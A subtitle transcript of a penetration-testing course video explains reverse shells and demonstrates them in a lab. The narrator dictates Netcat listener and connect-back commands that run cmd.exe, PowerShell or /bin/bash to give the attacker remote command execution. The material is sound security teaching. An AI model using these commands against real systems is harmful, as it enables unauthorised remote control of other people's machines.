WEBVTT

00:00:00.000 --> 00:00:04.464 align:middle line:90%


00:00:04.464 --> 00:00:07.936 align:middle line:90%
[MUSIC PLAYING]

00:00:07.936 --> 00:00:09.930 align:middle line:90%


00:00:09.930 --> 00:00:11.323 align:middle line:90%
Reverse shells.

00:00:11.323 --> 00:00:13.740 align:middle line:84%
In this video, we're going to
get an understanding of what

00:00:13.740 --> 00:00:15.880 align:middle line:84%
reverse shells
are, how they work,

00:00:15.880 --> 00:00:18.630 align:middle line:84%
and some of the
advantages reverse shells

00:00:18.630 --> 00:00:21.090 align:middle line:90%
have over bind shells.

00:00:21.090 --> 00:00:23.760 align:middle line:84%
All right, so let's get an
understanding of what they are.

00:00:23.760 --> 00:00:27.000 align:middle line:84%
Now, if you take a look at
the name reverse shells,

00:00:27.000 --> 00:00:28.830 align:middle line:84%
that pretty much
should give you an idea

00:00:28.830 --> 00:00:33.240 align:middle line:84%
as to how it differs in regards
to or in comparison to bind

00:00:33.240 --> 00:00:33.780 align:middle line:90%
shells.

00:00:33.780 --> 00:00:37.620 align:middle line:84%
It is essentially the reverse
of what a bind shell is.

00:00:37.620 --> 00:00:41.070 align:middle line:84%
So a reverse shell is a
type of remote shell, where

00:00:41.070 --> 00:00:45.510 align:middle line:84%
the target connects directly
to a listener on the attacker's

00:00:45.510 --> 00:00:46.060 align:middle line:90%
system.

00:00:46.060 --> 00:00:49.590 align:middle line:84%
So again, the rules have been
switched, consequently allowing

00:00:49.590 --> 00:00:53.262 align:middle line:84%
for execution of commands
on the target system.

00:00:53.262 --> 00:00:54.970 align:middle line:84%
So if we take a look
at the diagram here,

00:00:54.970 --> 00:00:57.420 align:middle line:84%
you can see that
the attacker now

00:00:57.420 --> 00:00:59.100 align:middle line:90%
has the Netcat listener set up.

00:00:59.100 --> 00:01:03.540 align:middle line:84%
So an example of this
would be during the fixing

00:01:03.540 --> 00:01:05.220 align:middle line:84%
exploit section of
this course, where

00:01:05.220 --> 00:01:08.700 align:middle line:84%
we were taking a look at how
to fix a specific exploit.

00:01:08.700 --> 00:01:10.540 align:middle line:84%
In that case, if you
remember correctly,

00:01:10.540 --> 00:01:13.410 align:middle line:84%
we were able to set
up a Netcat listener

00:01:13.410 --> 00:01:17.160 align:middle line:84%
to receive a connection from
the actual target system.

00:01:17.160 --> 00:01:20.280 align:middle line:84%
Now, it's very important
to note that in the context

00:01:20.280 --> 00:01:23.940 align:middle line:84%
of a reverse shell, the
connection can actually

00:01:23.940 --> 00:01:27.660 align:middle line:84%
be initiated from the target
system without Netcat.

00:01:27.660 --> 00:01:31.020 align:middle line:84%
And you'll actually see
what this means really.

00:01:31.020 --> 00:01:33.960 align:middle line:84%
Because in the context
of a bind shell,

00:01:33.960 --> 00:01:37.290 align:middle line:84%
you actually needed to set up a
listener on the target system,

00:01:37.290 --> 00:01:39.900 align:middle line:84%
and this can really,
only, realistically be

00:01:39.900 --> 00:01:41.340 align:middle line:90%
done with Netcat.

00:01:41.340 --> 00:01:44.640 align:middle line:84%
However, in the context
of a reverse shell,

00:01:44.640 --> 00:01:46.410 align:middle line:84%
the only thing you
need is you need

00:01:46.410 --> 00:01:50.230 align:middle line:84%
a connection being made from the
target system to the listener.

00:01:50.230 --> 00:01:53.040 align:middle line:84%
So that's the key thing that
you need to remember here.

00:01:53.040 --> 00:01:55.980 align:middle line:84%
And again, if we just
take a look at the diagram

00:01:55.980 --> 00:01:59.730 align:middle line:84%
again, what we're going to do
is set up a Netcat listener

00:01:59.730 --> 00:02:02.490 align:middle line:84%
on the attacker's
system, and then

00:02:02.490 --> 00:02:04.980 align:middle line:84%
we need to find a
way of obtaining--

00:02:04.980 --> 00:02:08.400 align:middle line:84%
or we need to find a way of
getting the actual target

00:02:08.400 --> 00:02:11.520 align:middle line:84%
system to connect to
the Netcat listener.

00:02:11.520 --> 00:02:14.200 align:middle line:84%
Now, as I said, in the
practical demonstration,

00:02:14.200 --> 00:02:17.130 align:middle line:84%
we will be doing this
through the use of a Netcat

00:02:17.130 --> 00:02:19.860 align:middle line:84%
or we'll essentially be
connecting to the Netcat

00:02:19.860 --> 00:02:22.260 align:middle line:90%
listener in client mode.

00:02:22.260 --> 00:02:23.790 align:middle line:84%
But this can be
done in other ways,

00:02:23.790 --> 00:02:26.380 align:middle line:84%
and that's something that I'll
be exploring in the next video.

00:02:26.380 --> 00:02:29.250 align:middle line:84%
So a reverse shell
is much better

00:02:29.250 --> 00:02:33.690 align:middle line:84%
than a bind shell for the first
reason, which I just went over.

00:02:33.690 --> 00:02:36.540 align:middle line:84%
The fact that you don't need to
set up a listener on the target

00:02:36.540 --> 00:02:37.420 align:middle line:90%
system.

00:02:37.420 --> 00:02:42.030 align:middle line:84%
Furthermore, it is better
because outgoing traffic

00:02:42.030 --> 00:02:45.330 align:middle line:84%
from a system is really
not blocked by firewalls.

00:02:45.330 --> 00:02:49.140 align:middle line:84%
And as a result,
the actual chances

00:02:49.140 --> 00:02:51.150 align:middle line:84%
of success when it
comes down to using

00:02:51.150 --> 00:02:54.430 align:middle line:84%
a reverse shell over a
bind shell are much higher.

00:02:54.430 --> 00:02:57.210 align:middle line:84%
So these really are
the two advantages.

00:02:57.210 --> 00:03:00.820 align:middle line:84%
Now, what is the issue
with a reverse shell?

00:03:00.820 --> 00:03:05.430 align:middle line:84%
Well, let's say we are
able to get the target

00:03:05.430 --> 00:03:09.060 align:middle line:84%
system to connect somehow
to the attacker system.

00:03:09.060 --> 00:03:12.240 align:middle line:84%
Well, in order for that
connection to be made,

00:03:12.240 --> 00:03:17.460 align:middle line:84%
the target system needs the IP
address of the attacker system,

00:03:17.460 --> 00:03:19.240 align:middle line:90%
which is bad for two reasons.

00:03:19.240 --> 00:03:22.200 align:middle line:84%
Number one, the exploit
that you'll be using

00:03:22.200 --> 00:03:26.040 align:middle line:84%
will actually have to find a
way of getting the target IP.

00:03:26.040 --> 00:03:29.883 align:middle line:84%
The target IP transferred
over to the target system,

00:03:29.883 --> 00:03:31.800 align:middle line:84%
or, rather, the attacker's
IP transferred over

00:03:31.800 --> 00:03:33.360 align:middle line:90%
to the target system.

00:03:33.360 --> 00:03:38.490 align:middle line:84%
And the other issue with that is
that the attacker's IP is then

00:03:38.490 --> 00:03:42.300 align:middle line:84%
leaked or made public if that
particular connection is ever

00:03:42.300 --> 00:03:43.230 align:middle line:90%
noted.

00:03:43.230 --> 00:03:47.580 align:middle line:84%
They'll immediately be able to
tell that this IP is actually

00:03:47.580 --> 00:03:49.720 align:middle line:90%
the IP address of an attacker.

00:03:49.720 --> 00:03:52.410 align:middle line:84%
So you need to
keep that in mind.

00:03:52.410 --> 00:03:57.030 align:middle line:84%
And of course, if the
exploit file is currently

00:03:57.030 --> 00:03:59.730 align:middle line:84%
on disk on the target system,
and that file contains

00:03:59.730 --> 00:04:02.700 align:middle line:84%
the attacker's IP, that's
another piece of information

00:04:02.700 --> 00:04:06.505 align:middle line:84%
that a security analyst
will be able to obtain.

00:04:06.505 --> 00:04:08.130 align:middle line:84%
And at that point,
you have essentially

00:04:08.130 --> 00:04:11.550 align:middle line:84%
been discovered, even if you're
utilizing a C2 or command

00:04:11.550 --> 00:04:14.220 align:middle line:84%
and control server to
facilitate the attack

00:04:14.220 --> 00:04:16.660 align:middle line:84%
or to receive a connection
from the target system.

00:04:16.660 --> 00:04:21.029 align:middle line:84%
So whenever you see or whenever
you utilize the Metasploit

00:04:21.029 --> 00:04:25.140 align:middle line:84%
framework, and you're trying to
obtain a Meterpreter session,

00:04:25.140 --> 00:04:27.690 align:middle line:84%
you are essentially
obtaining a reverse shell.

00:04:27.690 --> 00:04:30.960 align:middle line:84%
And I've already gone through
that in the Metasploit

00:04:30.960 --> 00:04:31.830 align:middle line:90%
framework course.

00:04:31.830 --> 00:04:36.030 align:middle line:84%
I've explained the different
types of Meterpreter payloads

00:04:36.030 --> 00:04:36.880 align:middle line:90%
and how they work.

00:04:36.880 --> 00:04:39.030 align:middle line:84%
But you can see
that reverse shells

00:04:39.030 --> 00:04:41.910 align:middle line:84%
are much better than bind
shells and are frequently

00:04:41.910 --> 00:04:45.288 align:middle line:84%
used by attackers and
penetration testers.

00:04:45.288 --> 00:04:47.580 align:middle line:84%
All right, so now that we
have an understanding of what

00:04:47.580 --> 00:04:49.860 align:middle line:84%
reverse shells are
and their advantage

00:04:49.860 --> 00:04:52.590 align:middle line:84%
over your standard
bind shell, we

00:04:52.590 --> 00:04:55.032 align:middle line:84%
can actually get started with
the practical demonstration.

00:04:55.032 --> 00:04:57.490 align:middle line:84%
So again, we're going to be
using the same lab environment.

00:04:57.490 --> 00:05:01.650 align:middle line:84%
So fire it up, and
we can get started

00:05:01.650 --> 00:05:04.970 align:middle line:90%
with the practical section.

00:05:04.970 --> 00:05:07.860 align:middle line:84%
All right, so I'm back
within the lab environment.

00:05:07.860 --> 00:05:10.590 align:middle line:84%
And again, you'll be provided
with the target IP address,

00:05:10.590 --> 00:05:12.350 align:middle line:90%
so just keep that at hand.

00:05:12.350 --> 00:05:15.200 align:middle line:84%
Although, we will not really
require it, given the fact

00:05:15.200 --> 00:05:17.150 align:middle line:84%
that we're setting
up a reverse shell.

00:05:17.150 --> 00:05:18.920 align:middle line:84%
What's going to
be more important

00:05:18.920 --> 00:05:20.790 align:middle line:90%
is the attacker's IP address.

00:05:20.790 --> 00:05:23.300 align:middle line:84%
So again, we are provided
with the attacker's machine

00:05:23.300 --> 00:05:25.070 align:middle line:84%
as well as the target
machine, and we're

00:05:25.070 --> 00:05:26.300 align:middle line:90%
going to be using this flow.

00:05:26.300 --> 00:05:29.700 align:middle line:84%
So the attacker system is
going to be Kali Linux.

00:05:29.700 --> 00:05:31.820 align:middle line:84%
And because we're setting
up a reverse shell,

00:05:31.820 --> 00:05:35.300 align:middle line:84%
this is where we're going to be
setting up the Netcat listener.

00:05:35.300 --> 00:05:39.090 align:middle line:84%
And the target system is going
to be the Windows system.

00:05:39.090 --> 00:05:41.990 align:middle line:84%
So I've already
transferred the Netcat exe,

00:05:41.990 --> 00:05:44.480 align:middle line:84%
which I've highlighted how
to do in the previous videos.

00:05:44.480 --> 00:05:46.790 align:middle line:84%
And I've just modified
the actual font size

00:05:46.790 --> 00:05:48.520 align:middle line:84%
and changed the
background color,

00:05:48.520 --> 00:05:50.220 align:middle line:90%
so you can see what's going on.

00:05:50.220 --> 00:05:55.160 align:middle line:84%
So again, revisiting the slides,
in the case of a reverse shell,

00:05:55.160 --> 00:05:57.950 align:middle line:84%
we need to set up
the Netcat listener

00:05:57.950 --> 00:06:01.190 align:middle line:84%
on the attacker system, which,
in this case, is Kali Linux.

00:06:01.190 --> 00:06:03.450 align:middle line:84%
So I'll open up
my terminal here.

00:06:03.450 --> 00:06:05.720 align:middle line:84%
And in order to do
this, we can use Netcat

00:06:05.720 --> 00:06:08.420 align:middle line:90%
and say nc nvlp 1234.

00:06:08.420 --> 00:06:12.620 align:middle line:84%
However, in this case, because
this is a reverse shell,

00:06:12.620 --> 00:06:16.250 align:middle line:84%
we do not need to
specify the actual shell

00:06:16.250 --> 00:06:17.670 align:middle line:90%
that we want executed.

00:06:17.670 --> 00:06:20.300 align:middle line:84%
So we do not need
to say cmd.exe.

00:06:20.300 --> 00:06:21.930 align:middle line:90%
That will not make much sense.

00:06:21.930 --> 00:06:23.900 align:middle line:84%
So we can just set
up the listener.

00:06:23.900 --> 00:06:25.850 align:middle line:84%
And then from the
target side-- remember,

00:06:25.850 --> 00:06:28.040 align:middle line:84%
the target is going to
be making the connection

00:06:28.040 --> 00:06:31.010 align:middle line:84%
or is going to be connecting to
the listener on the attacker's

00:06:31.010 --> 00:06:33.080 align:middle line:84%
side, so that is
outgoing traffic.

00:06:33.080 --> 00:06:37.100 align:middle line:84%
So we can just hit Enter,
and we can head over

00:06:37.100 --> 00:06:39.890 align:middle line:84%
into the target system,
which is running Windows.

00:06:39.890 --> 00:06:42.500 align:middle line:84%
And this is what we are trying
to gain a reverse shall on.

00:06:42.500 --> 00:06:44.390 align:middle line:90%
We can say, nc.exe.

00:06:44.390 --> 00:06:48.260 align:middle line:84%
We're making a connection, so
we can say, nc nv for no DNS

00:06:48.260 --> 00:06:50.390 align:middle line:90%
resolution and verbose output.

00:06:50.390 --> 00:06:53.970 align:middle line:84%
And then, we specify the
attacker's IP address.

00:06:53.970 --> 00:06:57.320 align:middle line:84%
So remember, this is one of
the disadvantages of this.

00:06:57.320 --> 00:07:00.200 align:middle line:84%
The attacker's IP
address needs to be

00:07:00.200 --> 00:07:02.840 align:middle line:84%
available on the
target system in order

00:07:02.840 --> 00:07:04.470 align:middle line:90%
for the connection to be made.

00:07:04.470 --> 00:07:06.500 align:middle line:84%
So I've just copied the
attacker's IP address.

00:07:06.500 --> 00:07:08.060 align:middle line:84%
And of course, that
can be obtained

00:07:08.060 --> 00:07:09.620 align:middle line:84%
by just opening
up a new terminal,

00:07:09.620 --> 00:07:12.800 align:middle line:84%
ifconfig, and getting
the IP address associated

00:07:12.800 --> 00:07:14.617 align:middle line:90%
with the interface ethernet 1.

00:07:14.617 --> 00:07:16.700 align:middle line:84%
In your case, it's going
to be different, but just

00:07:16.700 --> 00:07:18.140 align:middle line:90%
copy the value there.

00:07:18.140 --> 00:07:19.860 align:middle line:90%
And I've already done that.

00:07:19.860 --> 00:07:21.660 align:middle line:84%
So I'll head over into
the target machine.

00:07:21.660 --> 00:07:26.210 align:middle line:84%
So we're connecting to the
attacker's IP on port 1234.

00:07:26.210 --> 00:07:28.048 align:middle line:84%
And again, feel free
to change the port

00:07:28.048 --> 00:07:29.090 align:middle line:90%
that you're listening on.

00:07:29.090 --> 00:07:33.020 align:middle line:84%
The only reason why I'm using
1234 is to avoid any confusion.

00:07:33.020 --> 00:07:35.690 align:middle line:84%
Once that is done,
we can now execute

00:07:35.690 --> 00:07:39.350 align:middle line:84%
on the target site, the
shell that we want access,

00:07:39.350 --> 00:07:42.050 align:middle line:84%
that we essentially
require or that

00:07:42.050 --> 00:07:44.600 align:middle line:84%
will provide us with remote
access or the ability

00:07:44.600 --> 00:07:46.980 align:middle line:90%
to execute commands remotely.

00:07:46.980 --> 00:07:51.050 align:middle line:84%
So in this case, because
the target system

00:07:51.050 --> 00:07:55.100 align:middle line:84%
is a Windows system,
we can say, -e cmd.exe

00:07:55.100 --> 00:07:56.750 align:middle line:90%
or PowerShell.exe, right?

00:07:56.750 --> 00:07:58.010 align:middle line:90%
So I'll hit Enter.

00:07:58.010 --> 00:07:59.690 align:middle line:84%
And you can see the
connection is made,

00:07:59.690 --> 00:08:01.910 align:middle line:84%
and we head over to
the attacker system.

00:08:01.910 --> 00:08:04.220 align:middle line:84%
You can see that we
get a command shell

00:08:04.220 --> 00:08:05.930 align:middle line:84%
session or a command
prompt session,

00:08:05.930 --> 00:08:07.510 align:middle line:84%
and we're able to
execute commands.

00:08:07.510 --> 00:08:11.300 align:middle line:84%
So who am I, and we can
then perform whatever

00:08:11.300 --> 00:08:13.170 align:middle line:90%
we wanted to do as an attacker.

00:08:13.170 --> 00:08:15.668 align:middle line:84%
So that is how a
reverse shell works.

00:08:15.668 --> 00:08:17.210 align:middle line:84%
Now, as I said, this
process can also

00:08:17.210 --> 00:08:19.700 align:middle line:90%
be replicated for Linux systems.

00:08:19.700 --> 00:08:22.620 align:middle line:84%
So again, if I just show you
how this would work locally.

00:08:22.620 --> 00:08:28.160 align:middle line:84%
So if we wanted to obtain a
reverse shell on our Kali Linux

00:08:28.160 --> 00:08:29.570 align:middle line:90%
system, we could do that.

00:08:29.570 --> 00:08:32.010 align:middle line:84%
Although, that really
doesn't make any sense.

00:08:32.010 --> 00:08:34.669 align:middle line:84%
So what I mean
is, what we can do

00:08:34.669 --> 00:08:37.460 align:middle line:84%
is we can set up a
listener on Kali.

00:08:37.460 --> 00:08:41.030 align:middle line:84%
So we can say, nc
nvlp 1234, and we

00:08:41.030 --> 00:08:43.332 align:middle line:84%
can obtain a reverse
shell on Kali as well.

00:08:43.332 --> 00:08:45.290 align:middle line:84%
So I know that might be
a little bit confusing.

00:08:45.290 --> 00:08:48.840 align:middle line:84%
But again, it will make
sense in a few seconds.

00:08:48.840 --> 00:08:52.310 align:middle line:84%
So let me just open up
both the terminals here.

00:08:52.310 --> 00:08:54.830 align:middle line:84%
Then, we also have
set up the listener.

00:08:54.830 --> 00:08:58.160 align:middle line:84%
And I'll just hit Enter
there, and that is listening.

00:08:58.160 --> 00:09:01.610 align:middle line:84%
So now, on the other
terminal, we can say nc,

00:09:01.610 --> 00:09:05.150 align:middle line:84%
and we want to connect
to our own IP, so nc -nv.

00:09:05.150 --> 00:09:09.980 align:middle line:84%
And we can paste the attacker's
IP there or just local host.

00:09:09.980 --> 00:09:14.090 align:middle line:84%
And the port is 1234, so we're
connecting to that port, where

00:09:14.090 --> 00:09:15.950 align:middle line:90%
the Netcat listener is running.

00:09:15.950 --> 00:09:17.840 align:middle line:84%
And because this
is a Linux system,

00:09:17.840 --> 00:09:20.720 align:middle line:84%
we're going to
execute /bin.bash.

00:09:20.720 --> 00:09:23.600 align:middle line:84%
And on the listener, we should
receive a reverse shell,

00:09:23.600 --> 00:09:26.810 align:middle line:84%
which, again, gives us access
to Kali, which we already had.

00:09:26.810 --> 00:09:30.860 align:middle line:84%
So there we are, we get
a connection, ls -al,

00:09:30.860 --> 00:09:32.430 align:middle line:90%
and you get the idea.

00:09:32.430 --> 00:09:37.100 align:middle line:84%
So again, the process can be
repeated on multiple operating

00:09:37.100 --> 00:09:40.670 align:middle line:84%
systems, irregardless of whether
or not it's Windows or Linux.

00:09:40.670 --> 00:09:43.040 align:middle line:84%
And all you need to
do is just change

00:09:43.040 --> 00:09:45.000 align:middle line:90%
the shell that's being executed.

00:09:45.000 --> 00:09:49.240 align:middle line:84%
Now, as I said, in
the actual slides,

00:09:49.240 --> 00:09:51.790 align:middle line:84%
the great thing
about a reverse shell

00:09:51.790 --> 00:09:55.150 align:middle line:84%
is, because the connection
to the net catalyst

00:09:55.150 --> 00:09:58.690 align:middle line:84%
is being made from
the target system,

00:09:58.690 --> 00:10:01.900 align:middle line:84%
the connection doesn't
need to be made via Netcat.

00:10:01.900 --> 00:10:04.780 align:middle line:84%
It can also be made via
some PowerShell code

00:10:04.780 --> 00:10:07.990 align:middle line:84%
or, in the case of Linux,
by some standard bash code,

00:10:07.990 --> 00:10:10.960 align:middle line:84%
and that's something that I'll
be exploring and highlighting

00:10:10.960 --> 00:10:12.350 align:middle line:90%
in the next video.

00:10:12.350 --> 00:10:16.270 align:middle line:84%
So this is pretty much just
a standard demonstration

00:10:16.270 --> 00:10:17.770 align:middle line:90%
of how a reverse shell works.

00:10:17.770 --> 00:10:21.190 align:middle line:84%
And you can see the
differences in terms

00:10:21.190 --> 00:10:22.600 align:middle line:90%
of the actual connection.

00:10:22.600 --> 00:10:25.030 align:middle line:84%
And I've already
highlighted the advantages

00:10:25.030 --> 00:10:26.920 align:middle line:90%
of using a reverse shell.

00:10:26.920 --> 00:10:29.890 align:middle line:84%
So that is going to conclude
the practical demonstration

00:10:29.890 --> 00:10:32.450 align:middle line:90%
side of this video.

00:10:32.450 --> 00:10:35.530 align:middle line:84%
All right, so now that we know
how a reverse shell works,

00:10:35.530 --> 00:10:39.490 align:middle line:84%
and how it can be set up,
and essentially orchestrated

00:10:39.490 --> 00:10:42.190 align:middle line:84%
with Netcat, we are
going to be taking

00:10:42.190 --> 00:10:46.510 align:middle line:84%
a look at a reverse cheatsheet
and how we can essentially

00:10:46.510 --> 00:10:49.090 align:middle line:84%
simplify the
process of obtaining

00:10:49.090 --> 00:10:53.920 align:middle line:84%
a reverse shell without
reliance on Netcat,

00:10:53.920 --> 00:10:57.260 align:middle line:84%
and that's what we'll be
exploring in the next video.

00:10:57.260 --> 00:10:59.500 align:middle line:90%
So I'll see you there.

00:10:59.500 --> 00:11:00.000 align:middle line:90%